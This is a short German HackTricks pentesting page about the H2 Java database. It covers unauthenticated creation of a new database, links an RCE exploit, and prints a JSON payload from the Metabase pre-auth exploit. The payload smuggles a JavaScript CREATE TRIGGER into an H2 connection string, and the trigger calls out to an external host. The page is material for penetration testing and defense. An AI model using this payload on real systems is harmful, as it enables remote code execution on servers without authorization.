# H2 - Java SQL-Datenbank {{#include ../../banners/hacktricks-training.md}} Offizielle Seite: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html) ## Zugriff Sie können einen **nicht existierenden Namen einer Datenbank** angeben, um **eine neue Datenbank ohne gültige Anmeldeinformationen** (**unauthenticated**) zu **erstellen**: ![](<../../images/image (131).png>) Oder wenn Sie wissen, dass zum Beispiel ein **mysql läuft** und Sie den **Datenbanknamen** und die **Anmeldeinformationen** für diese Datenbank kennen, können Sie einfach darauf zugreifen: ![](<../../images/image (201).png>) _**Trick aus der Box Hawk von HTB.**_ ## **RCE** Wenn Sie Zugriff haben, um mit der H2-Datenbank zu kommunizieren, überprüfen Sie diesen Exploit, um RCE darauf zu erhalten: [https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed) ## H2 SQL-Injection zu RCE In [**diesem Beitrag**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) wird ein Payload erklärt, um **RCE über eine H2-Datenbank** durch Ausnutzung einer **SQL-Injection** zu erhalten. ```json [...] "details": { "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;", "advanced-options": false, "ssl": true }, [...] ``` {{#include ../../banners/hacktricks-training.md}}